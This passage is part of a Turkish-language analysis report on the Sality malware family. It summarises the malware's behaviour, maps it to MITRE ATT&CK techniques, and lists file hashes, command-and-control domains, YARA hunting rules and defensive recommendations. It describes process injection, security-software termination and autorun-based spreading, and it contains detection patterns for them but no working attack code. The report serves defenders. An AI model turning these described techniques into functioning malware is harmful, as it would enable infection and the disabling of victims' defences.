10. Düşük Seviye Sistem Etkileşimi
Aşağıdaki string ve API’ler gözlemlenmiştir:
ntoskrnl.exeIoCreateDevicePsCreateSystemThread
Bu durum, örneğin kernel seviyesinde çalışan bir bileşenle etkileşime girebildiğini gösterir. Ancak yalnızca bu bulgular üzerinden rootkit sınıflandırması yapmak için yeterli kanıt bulunmamaktadır.
11. Davranış Özeti
Zararlı:
- HTTP üzerinden yapılandırma alır
- Bu yapılandırmayı bellekte saklar
- UDP P2P ağı üzerinden diğer düğümlere yayar
- Güvenlik yazılımlarını hedef alır ve sonlandırır
- Yeni düğümler keşfeder
- Payload dağıtım altyapısı sağlar
Sistem stabilitesini korumak ve şüphe çekici mavi ekran (
BSOD) hatalarından kaçınmak içinSYSTEM,LOCAL SERVICEveNETWORK SERVICEayrıcalıklı hesaplarıyla çalışan süreçlere enjeksiyon yapmaktan bilinçli olarak kaçınır.
12. MITRE ATT&CK Eşlemesi
| Tactic | Technique (ID) | Observed Behaviors / Actions |
|---|---|---|
| Defense Evasion | Obfuscated Files or Information: Dynamic API Resolution (T1027.007) | LoadLibrary / GetProcAddress ile API çağrılarının çalışma zamanında çözülmesi. |
| Service Execution (T1569.002) | Zararlı kodun bir sistem servisi kılıfında yürütülmesi. | |
| Persistence | Boot or Logon Autostart Execution: Registry Run Keys (T1547.001) | HKCU\...\CurrentVersion\Run anahtarına değer eklenerek otomatik başlama sağlanması. |
| Create or Modify System Process: Windows Service (T1543.003) | Kalıcılık için servis oluşturulması ve ayarlarının manipüle edilmesi. | |
| Privilege Escalation | Access Token Manipulation (T1134) | SeDebugPrivilege yetkisinin alınması ve token objelerinin incelenmesi. |
| Defense Evasion | Impair Defenses: Disable or Modify Tools (T1562.001) | Anti-Virüs süreçlerinin enumerate edilip sonlandırılması ve SafeBoot anahtarlarının silinmesi. |
| Process Injection: Portable Executable Injection (T1055.002) | VirtualAllocEx ve CreateRemoteThread kullanılarak diğer süreçlerin bellek alanına zararlı PE yüklenmesi. | |
| Indicator Removal: File Deletion (T1070.004) | Geride iz bırakmamak veya analiz ortamını kırmak için %TEMP% vb. dizinlerindeki dosyaların temizlenmesi. | |
| Modify Registry (T1112) | Explorer/Advanced gibi kullanıcı registry değerlerinin manipülasyonu. | |
| Obfuscated Files/Info (T1027) | Zararlı içindeki metinlerin, payload’un ve ağ trafiğinin custom XOR / RC4 ile şifrelenmesi. | |
| Discovery | Process Discovery (T1057) | Enjeksiyon veya sonlandırma hedefi için çalışan işlemlerin CreateToolhelp32Snapshot ile listelenmesi. |
| System Information Discovery (T1082) | İşletim sistemi sürümü ve disk yapısının (GetLogicalDrives) analiz edilmesi. | |
| File and Directory Discovery (T1083) | Klasörlerin recursive olarak gezilmesi, autorun.inf dosyalarının aranması. | |
| Command and Control | Proxy: Peer-to-Peer Routing (T1090.002) | UDP üzerinden diğer düğümlerle özel P2P iletişim kurulması ve kayıt/peer tablosu üzerinden hedeflerle etkileşim sağlanması. |
| Lateral Movement | Replication Through Removable Media (T1091) | Keşfedilen çıkarılabilir ve yerel formatlı disklere kendini kopyalaması ve autorun.inf yapılandırması bırakması. |
13. Dosya Hashleri
| SHA256 | MD5 | Boyut |
|---|---|---|
| 2cdacb5d742167599b826f899807cee2745c86d38a294c76cc4323b3ac0faeec | c1a5d1d978fb4a302021371375f26112 | 111.104 |
| 5b6430e115eb28e10d4e38f3cf311fd9fd39b358ab0dcd6d7ff49bf9d01dab3a | a92697918309d9e881ab98b354b7c4ee | 241.664 |
| 8ec28b718336a05245f2138cbcc4fea8e45f698a40bfc6fd79162adf67333e8b | dd09ad8e04a5595e859234824b326894 | 104.960 |
| d34b4e7472d1df3603be48d10c4a267281bc3d39ea64c424de408f0876a3035a | 31de33a273cf87952e94d3534335a9b1 | 4.672 |
14. YARA / Detection Pack
Sality polimorfik yapısı nedeniyle tek bir hash veya sabit string üzerinden güvenilir şekilde yakalanmamalıdır. Aşağıdaki kurallar, farklı savunma amaçları için ayrılmıştır: kernel dispatcher kuralı örnek kümesine daha yakındır; injection, persistence/AV tampering ve P2P kuralları ise hunting amaçlı davranış kurallarıdır.
Kernel Dispatcher Cluster Rule
rule MAL_WIN32_Sality_Kernel_Dispatcher_Cluster
{
meta:
description = "Sality-related kernel dispatcher artefact using IPFILTERDRIVER IOCTL flow"
author = "BinaryBear"
date = "2026-05-19"
scope = "sample_cluster"
confidence = "high"
fp_notes = "Requires kernel driver strings and the observed IPFILTERDRIVER dispatcher artefacts"
sample_sha256 = "d34b4e7472d1df3603be48d10c4a267281bc3d39ea64c424de408f0876a3035a"
strings:
$dev1 = "\\Device\\IPFILTERDRIVER" ascii wide
$dev2 = "\\Device\\amsint32" ascii wide
$dev3 = "\\DosDevices\\amsint32" ascii wide
$drv1 = "PsCreateSystemThread" ascii wide
$drv2 = "KeInitializeTimer" ascii wide
$drv3 = "KeWaitForSingleObject" ascii wide
$drv4 = "IoBuildDeviceIoControlRequest" ascii wide
$drv5 = "IofCallDriver" ascii wide
$ioctl = { 58 80 12 00 }
condition:
uint16(0) == 0x5A4D and
filesize < 512KB and
$dev1 and
2 of ($drv*) and
($dev2 or $dev3 or $ioctl)
}
User-Mode Injection Behavior Rule
rule MAL_WIN32_Sality_UserMode_Injection_Hunt
{
meta:
description = "Hunting rule for Sality-like user-mode process enumeration and remote thread injection"
author = "BinaryBear"
date = "2026-05-19"
scope = "behavior_hunting"
confidence = "medium"
fp_notes = "May overlap with offensive tooling; require process infection or Sality IOC context before escalation"
strings:
$proc1 = "CreateToolhelp32Snapshot" ascii wide
$proc2 = "Process32First" ascii wide
$proc3 = "Process32Next" ascii wide
$proc4 = "OpenProcess" ascii wide
$inj1 = "VirtualAllocEx" ascii wide
$inj2 = "WriteProcessMemory" ascii wide
$inj3 = "CreateRemoteThread" ascii wide
$inj4 = "PAGE_EXECUTE_READWRITE" ascii wide
$priv1 = "SeDebugPrivilege" ascii wide
$priv2 = "OpenProcessToken" ascii wide
$priv3 = "LookupPrivilegeValue" ascii wide
$skip1 = "SYSTEM" ascii wide
$skip2 = "LOCAL SERVICE" ascii wide
$skip3 = "NETWORK SERVICE" ascii wide
$mutex = "s_M_%d" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize < 2MB and
2 of ($proc*) and
2 of ($inj*) and
1 of ($priv*) and
($mutex or 2 of ($skip*))
}
Persistence And AV Tampering Rule
rule MAL_WIN32_Sality_Persistence_AVTamper_Hunt
{
meta:
description = "Hunting rule for Sality-like persistence, autorun and security product tampering"
author = "BinaryBear"
date = "2026-05-19"
scope = "behavior_hunting"
confidence = "medium"
fp_notes = "Registry and autorun strings alone are weak; this rule requires AV tampering or driver artefacts as well"
strings:
$reg1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
$reg2 = "System\\CurrentControlSet\\Control\\SafeBoot\\Minimal" ascii wide
$reg3 = "System\\CurrentControlSet\\Control\\SafeBoot\\Network" ascii wide
$reg4 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced" ascii wide
$autorun1 = "autorun.inf" ascii wide
$autorun2 = "[autorun]" ascii wide
$svc1 = "OpenSCManagerA" ascii wide
$svc2 = "CreateServiceA" ascii wide
$svc3 = "OpenServiceA" ascii wide
$kill1 = "TerminateProcess" ascii wide
$kill2 = "Process32First" ascii wide
$kill3 = "Process32Next" ascii wide
$drv1 = "amsint32.sys" ascii wide
$drv2 = "\\\\.\\amsint32" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize < 2MB and
(
(1 of ($reg*) and 1 of ($autorun*) and 1 of ($kill*))
or
(2 of ($svc*) and 1 of ($drv*) and 1 of ($kill*))
or
(($reg2 or $reg3) and 2 of ($kill*))
)
}
P2P And HTTP Config Rule
rule MAL_WIN32_Sality_P2P_HTTP_Config_Hunt
{
meta:
description = "Hunting rule for Sality-like UDP P2P peer handling and HTTP configuration retrieval"
author = "BinaryBear"
date = "2026-05-19"
scope = "family_hunting"
confidence = "medium"
fp_notes = "Network API usage is generic; require peer table, HTTP config and Sality campaign URL context together"
strings:
$udp1 = "WSAStartup" ascii wide
$udp2 = "sendto" ascii wide
$udp3 = "recvfrom" ascii wide
$udp4 = "select" ascii wide
$udp5 = "sockaddr" ascii wide
$http1 = "InternetOpenA" ascii wide
$http2 = "InternetOpenUrlA" ascii wide
$http3 = "InternetReadFile" ascii wide
$peer1 = { 22 22 22 22 }
$peer2 = { 33 33 33 33 }
$peer3 = "1000" ascii wide
$url1 = "kukutrustnet777.info" ascii wide
$url2 = "kukutrustnet888.info" ascii wide
$url3 = "kukutrustnet987.info" ascii wide
$url4 = "home.gif" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize < 2MB and
3 of ($udp*) and
2 of ($http*) and
(
2 of ($url*) or
(1 of ($url*) and 1 of ($peer*))
)
}
15. Sonuç ve Yapılacaklar
Sality örnek seti, loader ve kernel dispatcher katmanından user-mode enjeksiyon, P2P iletişim ve persistence aşamalarına kadar çok katmanlı bir mimari göstermektedir. Bu nedenle tek başına hash bazlı engelleme yeterli değildir; registry, servis, driver, process injection ve UDP P2P davranışlarının birlikte izlenmesi gerekir.
Önerilen aksiyonlar:
autorun.inf,amsint32.sys,\\.\amsint32ve Run key değişiklikleri için EDR/SIEM korelasyonu kurulmalıdır.VirtualAllocEx+WriteProcessMemory+CreateRemoteThreadzinciri, özellikleSeDebugPrivilegeetkinleştirme denemeleriyle birlikte alarm üretmelidir.- UDP P2P trafiği ve
.gifuzantılı HTTP config alma davranışı proxy/firewall loglarında geriye dönük aranmalıdır. - Bu bölümdeki YARA kuralları üretim engelleme kuralı olarak değil, öncelikle threat hunting ve örnek kümesi genişletme amacıyla test edilmelidir.














